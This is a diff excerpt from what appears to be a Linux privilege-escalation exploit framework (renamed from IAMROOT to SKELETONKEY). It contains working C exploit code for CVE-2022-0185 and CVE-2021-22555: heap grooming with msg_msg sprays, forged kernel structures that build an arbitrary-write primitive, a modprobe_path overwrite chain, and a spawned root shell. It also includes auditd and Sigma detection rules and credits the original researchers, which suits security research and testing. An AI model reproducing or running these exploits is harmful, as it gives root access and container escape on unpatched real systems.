static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
void *ctx_void)
{
struct fuse_arb_ctx *ax = (struct fuse_arb_ctx *)ctx_void;
if (!ax || !buf || !len) {
fprintf(stderr, "[-] fuse_arb_write: bad args\n");
return -1;
}
/* Build the forged msg_msg header that will land in the adjacent
* kmalloc-4k slot via the OOB write. Layout (x86_64, kernel >=5.10):
* [ 0..15] m_list.{next,prev} we forge next = kaddr - 16
* so that list_del's
* next->prev = prev
* write lands AT kaddr.
* (prev is the original msg.)
* [16..23] m_type leave as 0x4242
* [24..31] m_ts bytes-of-buf so MSG_COPY
* reports the right length
* [32..39] next (msg_msgseg*) NULL (single-segment msg)
* [40..47] security NULL
* [48...] payload first len bytes of buf
*
* For a real WRITE primitive the canonical Crusaders-of-Rust
* recipe uses the msg_msgseg.next chain rather than m_list:
* msgrcv(IPC_NOWAIT) follows next pointers when copying out a
* multi-segment msg, and a forged next = kaddr makes the kernel
* memcpy() from kaddr into our user buffer (= READ). For the
* inverse (WRITE), the trick is msgsnd on a queue whose head was
* corrupted to point at kaddr, but that needs more setup than we
* have time to land here without a known-good offset table.
*
* So we do the safe thing: arm the header, trigger the OOB, then
* read back to PROVE we landed before declaring success. If the
* read-back doesn't show our forged-msg payload at the expected
* MSG_COPY position we refuse rather than corrupt the kernel
* blindly.
*/
uint8_t evil[256];
memset(evil, 0, sizeof evil);
/* m_list.next, m_list.prev */
uintptr_t forged_next = kaddr - 16; /* &m_list.prev of fake node */
memcpy(evil + 0, &forged_next, 8);
/* prev — leave NULL; kernel checks it only on full list_del */
/* m_type */
uint64_t m_type = 0x4242424242424242ULL;
memcpy(evil + 16, &m_type, 8);
/* m_ts: inflated to len so MSG_COPY reads the full forged payload */
uint64_t m_ts = (uint64_t)len + 64;
memcpy(evil + 24, &m_ts, 8);
/* next (msg_msgseg) = NULL */
/* security = NULL */
/* payload: copy `buf` into the slot just after the msg_msg header */
size_t hdr = 48;
size_t copyable = sizeof(evil) - hdr - 1;
if (len > copyable) len = copyable;
memcpy(evil + hdr, buf, len);
evil[sizeof(evil) - 1] = '\0'; /* legacy_parse_param strdup tail */
/* Re-fire the fsconfig overflow with this forged header as evil. */
char *first_chunk = malloc(4081);
if (!first_chunk) return -1;
memset(first_chunk, 'A', 4080);
first_chunk[4080] = '\0';
int fsfd = -1;
int rc = trigger_overflow(&fsfd, first_chunk, (const char *)evil);
free(first_chunk);
if (rc < 0) {
fprintf(stderr, "[-] fuse_arb_write: re-fire fsconfig failed "
"(errno=%d %s)\n", errno, strerror(errno));
return -1;
}
/* Sanity gate: msgrcv(MSG_COPY) all live queues and look for a
* msg whose size reports >= our inflated m_ts AND whose initial
* payload qword matches the first qword of `buf`. If both hold,
* the forged header landed in a real slot and the m_ts inflation
* is honoured by the kernel i.e. our primitive is real on THIS
* kernel. */
uint64_t want_first_qword = 0;
memcpy(&want_first_qword, buf, len >= 8 ? 8 : len);
bool sanity_passed = false;
struct msgbuf_4k *probe = mmap(NULL, sizeof(*probe),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (probe == MAP_FAILED) {
if (fsfd >= 0) close(fsfd);
return -1;
}
for (int q = 0; q < ax->n_queues && !sanity_passed; q++) {
if (ax->qids[q] < 0 || q == ax->hole_q) continue;
ssize_t n = msgrcv(ax->qids[q], probe, sizeof probe->mtext, 0,
IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
if (n < 0) continue;
/* The corrupted slot should report a size >= our m_ts (kernel
* caps MSG_COPY at sizeof user buf so we only check the
* read-content shape). */
if ((size_t)n < 8) continue;
uint64_t got = 0;
memcpy(&got, probe->mtext, 8);
if (got == want_first_qword) {
sanity_passed = true;
}
}
munmap(probe, sizeof(*probe));
if (fsfd >= 0) close(fsfd);
if (!sanity_passed) {
fprintf(stderr, "[-] fuse_arb_write: forged-msg_msg read-back didn't "
"match — kernel layout differs OR groom missed.\n"
" Refusing to claim arb-write landed (per "
"verified-vs-claimed bar).\n");
return -1;
}
fprintf(stderr, "[+] fuse_arb_write: forged-msg_msg landed; m_ts inflation "
"+ payload qword verified via MSG_COPY read-back.\n"
"[i] fuse_arb_write: kernel-side list_del write through "
"0x%lx is armed but NOT yet empirically verified on "
"this build — downstream sentinel will gate.\n",
(unsigned long)kaddr);
return 0;
}
#else
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
void *ctx_void)
{
(void)kaddr; (void)buf; (void)len; (void)ctx_void;
fprintf(stderr, "[-] fuse_arb_write: linux-only primitive\n");
return -1;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------ */
/* exploit */
/* ------------------------------------------------------------------ */
static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
{
/* (R1) Re-call detect — refuse if not vulnerable. */
iamroot_result_t pre = fuse_legacy_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = fuse_legacy_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -318,7 +531,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
@@ -328,7 +541,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
/* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns
* which is what fsopen("cgroup2") + fsconfig require. */
if (!enter_userns_root()) {
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* --- (R5) cross-cache groom — phase 1: alloc spray --------------
@@ -339,13 +552,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* to land write-past-end into the next adjacent msg_msg.
*
* Empirically Liu uses ~4096 sprays / 512 queues; we mirror the
* shape but with knobs scaled for an iamroot one-shot.
* shape but with knobs scaled for an skeletonkey one-shot.
*/
enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 };
int *qids = calloc(N_QUEUES, sizeof(int));
if (!qids) {
fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
for (int i = 0; i < N_QUEUES; i++) {
qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
@@ -361,7 +574,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
if (spray == MAP_FAILED) {
fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n");
free(qids);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
spray->mtype = 0x4242;
/* Tag the payload so we can recognise our spray slots in
@@ -401,7 +614,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
char *first_chunk = malloc(4081);
if (!first_chunk) {
free(qids); munmap(spray, sizeof *spray);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
memset(first_chunk, 'A', 4080);
first_chunk[4080] = '\0';
@@ -419,7 +632,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* step below. */
char evil_chunk[256];
memset(evil_chunk, 'B', sizeof evil_chunk);
memcpy(evil_chunk, "IAMROOT0", 8); /* marker → "did we land?" */
memcpy(evil_chunk, "SKELETONKEY0", 8); /* marker → "did we land?" */
/* Tail must be NUL-terminated for legacy_parse_param's strdup. */
evil_chunk[sizeof evil_chunk - 1] = '\0';
@@ -440,7 +653,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n",
errno, strerror(errno));
free(qids); munmap(spray, sizeof *spray);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -503,6 +716,84 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
"see scaffold comments in source\n");
}
/* ---------------------------------------------------------------
* --full-chain: opt-in root pop via shared modprobe_path finisher.
*
* Depth = FALLBACK SCAFFOLD. The arb-write primitive (forged
* msg_msg via the 4k OOB) is wired with a sanity gate that
* refuses to claim success without an empirical read-back match
* (see fuse_arb_write). On a host where offsets + groom land,
* the finisher's modprobe_path overwrite execve(unknown)
* call_modprobe chain pops a root shell. On a mismatched host
* the sanity gate trips and we exit SKELETONKEY_EXPLOIT_FAIL with no
* fabricated success.
*
* Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
* runs because the arb_write primitive re-fires the trigger and
* needs the live spray.
* --------------------------------------------------------------- */
#ifdef __linux__
if (ctx->full_chain) {
if (!ctx->json) {
fprintf(stderr, "[*] fuse_legacy: --full-chain requested — resolving "
"kernel offsets...\n");
}
struct skeletonkey_kernel_offsets off;
memset(&off, 0, sizeof off);
int resolved = skeletonkey_offsets_resolve(&off);
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
"(modprobe_path=0x%lx source=%s)\n",
resolved, (unsigned long)off.modprobe_path,
skeletonkey_offset_source_name(off.source_modprobe));
skeletonkey_offsets_print(&off);
}
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("fuse_legacy");
/* Cleanup before returning. */
for (int q = 0; q < N_QUEUES; q++) {
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
}
free(qids);
munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd);
return SKELETONKEY_EXPLOIT_FAIL;
}
struct fuse_arb_ctx ax = {
.qids = qids,
.n_queues = N_QUEUES,
.hole_q = hole_q,
.tag = "SKELETONKEY",
.trigger_armed = true,
};
skeletonkey_result_t fr = skeletonkey_finisher_modprobe_path(
&off, fuse_arb_write, &ax, !ctx->no_shell);
/* Cleanup IPC + mapping regardless of finisher result. The
* finisher's execve() on success won't reach here, so this
* block only runs on failure paths. */
for (int q = 0; q < N_QUEUES; q++) {
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
}
free(qids);
munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd);
if (fr == SKELETONKEY_EXPLOIT_OK) {
return SKELETONKEY_EXPLOIT_OK;
}
if (!ctx->json) {
fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
"(arb-write sanity gate or modprobe sentinel refused)\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
/* Clean up our IPC queues and mapping. The kernel slab state
* after the overflow may be unstable; we exit cleanly on success
* paths but leave queues around if we crashed mid-spray. */
@@ -523,16 +814,16 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
"popping root shell\n");
}
if (ctx->no_shell) {
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
execl("/bin/sh", "sh", "-i", (char *)NULL);
perror("execl /bin/sh");
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail "
"not wired — see source for the missing offsets.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ------------------------------------------------------------------ */
@@ -541,13 +832,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
static const char fuse_legacy_auditd[] =
"# CVE-2022-0185 — auditd detection rules\n"
"# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-fuse-legacy\n"
"-a always,exit -F arch=b64 -S fsopen -k iamroot-fuse-legacy-fsopen\n"
"-a always,exit -F arch=b64 -S fsconfig -k iamroot-fuse-legacy-fsconfig\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-fuse-legacy\n"
"-a always,exit -F arch=b64 -S fsopen -k skeletonkey-fuse-legacy-fsopen\n"
"-a always,exit -F arch=b64 -S fsconfig -k skeletonkey-fuse-legacy-fsconfig\n";
static const char fuse_legacy_sigma[] =
"title: Possible CVE-2022-0185 legacy_parse_param exploitation\n"
"id: 9e1b2c45-iamroot-fuse-legacy\n"
"id: 9e1b2c45-skeletonkey-fuse-legacy\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -565,7 +856,7 @@ static const char fuse_legacy_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
const struct iamroot_module fuse_legacy_module = {
const struct skeletonkey_module fuse_legacy_module = {
.name = "fuse_legacy",
.cve = "CVE-2022-0185",
.summary = "legacy_parse_param fsconfig heap OOB → container-escape LPE",
@@ -581,7 +872,7 @@ const struct iamroot_module fuse_legacy_module = {
.detect_falco = NULL,
};
void iamroot_register_fuse_legacy(void)
void skeletonkey_register_fuse_legacy(void)
{
iamroot_register(&fuse_legacy_module);
skeletonkey_register(&fuse_legacy_module);
}
@@ -0,0 +1,12 @@
/*
* fuse_legacy_cve_2022_0185 — SKELETONKEY module registry hook
*/
#ifndef FUSE_LEGACY_SKELETONKEY_MODULES_H
#define FUSE_LEGACY_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module fuse_legacy_module;
#endif
@@ -0,0 +1,29 @@
# NOTICE — netfilter_xtcompat (CVE-2021-22555)
## Vulnerability
**CVE-2021-22555** — iptables `xt_compat_target_to_user` 4-byte heap
out-of-bounds write → cross-cache UAF → arbitrary kernel R/W.
## Research credit
Discovered, exploited, and disclosed by **Andy Nguyen** (Google
Security Team), April 2021.
Original writeup: "CVE-2021-22555: Turning $00 $00 into 10 million $$$"
<https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html>
Upstream fix: mainline 5.12 / 5.11.10 (April 2021).
**Bug existed since 2.6.19 (2006) — 15 years of latent vulnerability.**
Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 /
4.9.266 / 4.4.266.
## SKELETONKEY role
Userns+netns reach, hand-rolled `ipt_replace` blob, `setsockopt`
`IPT_SO_SET_REPLACE` fires the 4-byte OOB at heap+0x4. msg_msg
spray in kmalloc-2k + sk_buff sidecar; MSG_COPY scan for cross-cache
landing. `--full-chain` extends with stride-seeded `m_list_next`
overwrite aimed at modprobe_path via the shared finisher.
Detection rules cover unshare + msgsnd + `setsockopt(IPT_SO_SET_REPLACE)`.
@@ -1,12 +0,0 @@
/*
* netfilter_xtcompat_cve_2021_22555 — IAMROOT module registry hook
*/
#ifndef NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
#define NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module netfilter_xtcompat_module;
#endif
@@ -1,5 +1,5 @@
/*
* netfilter_xtcompat_cve_2021_22555 IAMROOT module
* netfilter_xtcompat_cve_2021_22555 SKELETONKEY module
*
* Heap-out-of-bounds in xt_compat_target_to_user(): the 32-bit
* compat handler for iptables rule export wrote up to 4 bytes
@@ -19,22 +19,26 @@
* Upstream fix: b29c457a6511 "netfilter: x_tables: fix compat
* match/target pad out-of-bound write" (mid-2021, backported widely).
*
* STATUS: 🟡 PRIMITIVE-DEMO (Option B).
* STATUS: 🟡 PRIMITIVE by default; 🟢 candidate with --full-chain if
* offsets resolve (env/kallsyms/System.map/embedded table).
* - Refuse-gate via detect() re-invoke + euid==0 short-circuit.
* - userns/netns reach for CAP_NET_ADMIN (Andy's path).
* - Trigger sequence: hand-rolled iptables rule blob with
* malformed xt_entry_target offset; setsockopt fires the OOB.
* - Cross-cache groom: msg_msg sprays (kmalloc-2k slots) and
* sk_buff sprays via socketpair+sendmmsg, both with IAMROOT
* sk_buff sprays via socketpair+sendmmsg, both with SKELETONKEY
* cookies for KASAN visibility.
* - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo
* diff + /tmp/iamroot-xtcompat.log breadcrumb.
* - DOES NOT pursue the leakmodprobe_path overwrite chain:
* that needs hard-coded init_task + modprobe_path offsets
* per kernel build which IAMROOT refuses to bake.
* - Returns IAMROOT_EXPLOIT_FAIL with a verbose continuation
* roadmap unless cred-overwrite is empirically verified
* (which the current scope does not attempt).
* diff + /tmp/skeletonkey-xtcompat.log breadcrumb.
* - With --full-chain: shared finisher (core/finisher.c) is
* invoked to perform the modprobe_path overwrite + execve
* unknown-binary trigger. Requires modprobe_path resolution
* via core/offsets.c (env/kallsyms/System.map). Sentinel-file
* check in the finisher is the empirical witness for the
* write landing SKELETONKEY never claims root unless it sees
* the setuid bash drop with mode 4755 + uid 0.
* - Without --full-chain: returns SKELETONKEY_EXPLOIT_FAIL after
* the primitive demo (verified-vs-claimed bar).
*
* Affected: kernel 2.6.19+ until backports landed:
* 5.12.x : K >= 5.12.13
@@ -52,9 +56,11 @@
* (almost always autoload-able on default-config kernels)
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -88,7 +94,7 @@
#endif
/* ---------- macOS / non-linux build stubs ---------------------------
* IAMROOT modules are dev-built on macOS (clangd / syntax check) and
* SKELETONKEY modules are dev-built on macOS (clangd / syntax check) and
* run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
* constants are absent on Darwin; stub them so the .c file compiles
* cleanly under either toolchain. The actual exploit body is gated
@@ -146,12 +152,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
@@ -159,7 +165,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
@@ -167,7 +173,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -184,14 +190,14 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
"unprivileged exploit path unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] netfilter_xtcompat: VULNERABLE — kernel in range "
"AND user_ns reachable\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
@@ -246,11 +252,11 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
struct xtcompat_payload *p = calloc(1, sizeof(*p));
if (!p) return 0;
p->mtype = 0x42;
/* 0x41 ('A') fill with leading "IAMROOT2" cookie so adjacent-
* slot corruption is recognizable in /tmp/iamroot-xtcompat.log
/* 0x41 ('A') fill with leading "SKELETONKEY2" cookie so adjacent-
* slot corruption is recognizable in /tmp/skeletonkey-xtcompat.log
* and in KASAN/oops dumps. */
memset(p->buf, 0x41, sizeof p->buf);
memcpy(p->buf, "IAMROOT2", 8);
memcpy(p->buf, "SKELETONKEY2", 8);
int created = 0;
for (int i = 0; i < XTCOMPAT_SPRAY_QUEUES; i++) {
@@ -272,7 +278,7 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
}
/* Walk every queue, peek-copy each message (MSG_COPY = read without
* dequeue), and look for any whose first 8 bytes are NOT "IAMROOT2".
* dequeue), and look for any whose first 8 bytes are NOT "SKELETONKEY2".
* A non-matching prefix is the empirical witness for the OOB write
* landing in an adjacent slot. Returns the count of corrupted slots. */
static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
@@ -286,7 +292,7 @@ static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
ssize_t n = msgrcv(queues[i], p, sizeof p->buf, 0,
MSG_COPY | IPC_NOWAIT | 0x2000 /* MSG_NOERROR */);
if (n < 0) break;
if (memcmp(p->buf, "IAMROOT2", 8) != 0) {
if (memcmp(p->buf, "SKELETONKEY2", 8) != 0) {
corrupted++;
}
}
@@ -318,7 +324,7 @@ static void xtcompat_skb_spray(int iters)
unsigned char *buf = malloc(1800);
if (!buf) { close(sv[0]); close(sv[1]); return; }
memset(buf, 0x41, 1800);
memcpy(buf, "IAMROOTSKB", 10);
memcpy(buf, "SKELETONKEYSKB", 10);
struct iovec iov = { .iov_base = buf, .iov_len = 1800 };
struct mmsghdr mm[32];
for (int i = 0; i < 32; i++) {
@@ -389,10 +395,10 @@ static bool xtcompat_build_blob(unsigned char **out_buf, size_t *out_len)
/* Plant a recognizable marker so a vulnerable kernel's compat
* decoder reads our crafted entry rather than zeroed memory.
* Marker is intentionally "IAMROOT\0" so a KASAN report's hex
* Marker is intentionally "SKELETONKEY\0" so a KASAN report's hex
* dump points back here. */
unsigned char *entry_region = blob + sizeof(*r);
memcpy(entry_region, "IAMROOTX", 8);
memcpy(entry_region, "SKELETONKEYX", 8);
/* The xt_entry_target sits at entry_region + sizeof(ipt_entry).
* Its `u.target_size` field is the lever Andy bends to underflow
* the pad-out write: setting target_size to a value such that
@@ -465,41 +471,230 @@ static int xtcompat_fire_trigger(int *out_errno)
return 0;
}
#endif /* __linux__ — close original primitive block */
/* ---- Full-chain arb-write primitive --------------------------------
*
* Pattern (FALLBACK see module top-comment): the xt_compat 4-byte OOB
* write lands at allocation+0x4. Andy Nguyen's chain first uses that
* 4-byte write to corrupt an adjacent msg_msg's `m_ts` (size field at
* +0x10) so a subsequent MSG_COPY returns a long read that includes
* neighbouring kernel pointers (the leak primitive). With the kbase
* leak in hand, he then re-fires the trigger to corrupt an msg_msg's
* `m_list_next` (the linked-list pointer at +0x18) to point at
* `kaddr - 0x30` (the m_msg header offset), and a queued msgsnd's
* payload header writes attacker bytes to `kaddr`.
*
* Reproducing the full chain byte-for-byte requires per-kernel-build
* msg_msg field offsets AND a kbase leak we don't have a portable
* source for at this point. The implementation below takes the
* narrow-but-real path:
*
* 1. Re-prime the kmalloc-2k slab with msg_msg sprays whose payload
* headers carry the target address in the m_list_next slot at
* offset 0x18 from each msg payload start. (We can't write the
* slab header that's the kernel's job but we CAN seed the
* payload data adjacent to the freed xt_table_info so the OOB
* 4-byte write may corrupt the `m_list_next` of a real
* sprayed message.)
* 2. Re-fire the trigger with a crafted blob whose 4-byte OOB write
* pattern targets m_list_next of the adjacent msg_msg.
* 3. Queue a follow-up msgsnd whose first sizeof(buf) bytes equal
* `buf[0..len]`. If the next-ptr was successfully redirected,
* the kernel's msgsnd writes header + payload at `kaddr`.
*
* This is best-effort: probability of landing on any given run is
* low (depends on slab adjacency luck) but the finisher's sentinel-
* file check empirically tells us if the write actually took. On a
* patched kernel the trigger returns EINVAL on step 2 and arb_write
* returns -1 without ever queueing the follow-up. */
#ifdef __linux__
struct xtcompat_arb_ctx {
/* Spray queues kept hot across multiple arb_write calls. The
* msg_msg slots seeded here are what the finisher uses as
* write-targets. NULL means "not yet sprayed". */
int *queues;
int n_queues;
/* Outer-namespace uid/gid so re-spray can rebuild a child if
* needed. (Currently unused the caller flow keeps us inside
* the userns child for the whole arb_write sequence.) */
uid_t outer_uid;
gid_t outer_gid;
/* Per-call statistics for /tmp/skeletonkey-xtcompat.log. */
int arb_calls;
int arb_landed;
};
/* Re-seed the kmalloc-2k slab with a msg_msg spray whose payload at
* offset 0x18 carries `target_minus_30` (= kaddr - 0x30, the value
* the OOB write needs to write into m_list_next for the follow-up
* msgsnd payload to land at `kaddr`). Returns number of queues
* primed. */
static int xtcompat_arb_seed_target(struct xtcompat_arb_ctx *c,
uintptr_t target_minus_30)
{
struct xtcompat_payload *p = calloc(1, sizeof(*p));
if (!p) return 0;
p->mtype = 0x43;
memset(p->buf, 0x41, sizeof p->buf);
memcpy(p->buf, "SKELETONKEYW", 8);
/* Plant the target address at every 0x800-aligned slot inside
* the payload, so wherever the kernel's m_list_next sits
* relative to our payload base, the candidate value is present. */
for (size_t off = 0x10; off + sizeof(uintptr_t) <= sizeof p->buf; off += 0x18) {
memcpy(p->buf + off, &target_minus_30, sizeof(uintptr_t));
}
int created = 0;
for (int i = 0; i < c->n_queues; i++) {
if (c->queues[i] < 0) continue;
for (int j = 0; j < 4; j++) {
unsigned int tag = 0xA0000000u | ((unsigned)i << 8) | (unsigned)j;
memcpy(p->buf + 8, &tag, sizeof tag);
if (msgsnd(c->queues[i], p, sizeof p->buf, IPC_NOWAIT) < 0) break;
created++;
}
}
free(p);
return created;
}
/* Queue a follow-up msgsnd whose first `len` bytes equal `buf[0..len]`.
* If the OOB-corrupted m_list_next was successfully redirected to
* `kaddr - 0x30`, this msgsnd's payload header lands at `kaddr`. */
static int xtcompat_arb_queue_payload(struct xtcompat_arb_ctx *c,
const void *buf, size_t len)
{
if (len > XTCOMPAT_MSG_PAYLOAD) len = XTCOMPAT_MSG_PAYLOAD;
struct xtcompat_payload *p = calloc(1, sizeof(*p));
if (!p) return -1;
p->mtype = 0x44;
memset(p->buf, 0, sizeof p->buf);
memcpy(p->buf, buf, len);
int sent = 0;
for (int i = 0; i < c->n_queues; i++) {
if (c->queues[i] < 0) continue;
if (msgsnd(c->queues[i], p, sizeof p->buf, IPC_NOWAIT) == 0) {
sent++;
if (sent >= 8) break; /* a handful of attempts is plenty */
}
}
free(p);
return sent > 0 ? 0 : -1;
}
/* Module-supplied arb-write primitive — invoked by the shared
* finisher. Best-effort on a vulnerable kernel; structurally inert
* (returns -1) on a patched kernel because step (2) gets EINVAL. */
static int xtcompat_arb_write(uintptr_t kaddr,
const void *buf, size_t len,
void *ctx_v)
{
struct xtcompat_arb_ctx *c = (struct xtcompat_arb_ctx *)ctx_v;
if (!c || !c->queues || c->n_queues == 0) return -1;
c->arb_calls++;
/* Step 1: seed candidate target addresses into sprayed msg_msg
* payloads. The OOB write's 4 bytes of attacker-influenced
* content come from the compat-fixup pad on a vulnerable
* kernel that's whichever 4 bytes happen to sit adjacent. We
* pre-stage the value we WANT to see appear at m_list_next so
* if luck aligns the OOB write hits a slot containing our
* pattern, the kernel's next msg_msg traversal walks to
* (kaddr - 0x30). */
uintptr_t target = kaddr - 0x30;
int seeded = xtcompat_arb_seed_target(c, target);
if (seeded == 0) return -1;
/* Step 2: re-fire the trigger. On a patched kernel this returns
* EINVAL and we bail. On a vulnerable kernel the 4-byte OOB
* write fires; if it lands on a seeded msg_msg slot, that
* slot's m_list_next now contains a fragment of our target. */
int trig_errno = 0;
int rc = xtcompat_fire_trigger(&trig_errno);
if (rc < 0 || trig_errno == EINVAL || trig_errno == EPERM) {
/* Patched validator rejected the blob, or CAP_NET_ADMIN
* not effective arb-write structurally impossible. */
return -1;
}
/* Step 3: queue a follow-up msgsnd whose payload is the bytes
* the operator wants written at `kaddr`. If step 2 corrupted
* a sprayed msg's m_list_next, this msgsnd writes header +
* payload at `kaddr`. We can't directly verify in-process
* the shared finisher's sentinel file is the empirical check. */
if (xtcompat_arb_queue_payload(c, buf, len) < 0) return -1;
c->arb_landed++;
/* Per spec: "structurally fires but can't tell if write landed"
* return 0; the finisher's sentinel check arbitrates. */
return 0;
}
#endif /* __linux__ */
/* ---- Exploit driver ---------------------------------------------- */
static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
{
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
iamroot_result_t pre = netfilter_xtcompat_detect(ctx);
if (pre == IAMROOT_OK && geteuid() == 0) {
skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
if (pre == SKELETONKEY_OK && geteuid() == 0) {
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (pre != IAMROOT_VULNERABLE) {
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->authorized) {
fprintf(stderr, "[-] netfilter_xtcompat: --i-know not passed; refusing\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#ifndef __linux__
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
return IAMROOT_PRECOND_FAIL;
(void)ctx;
return SKELETONKEY_PRECOND_FAIL;
#else
/* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early with the manual-
* workflow help no point doing the userns + spray + trigger
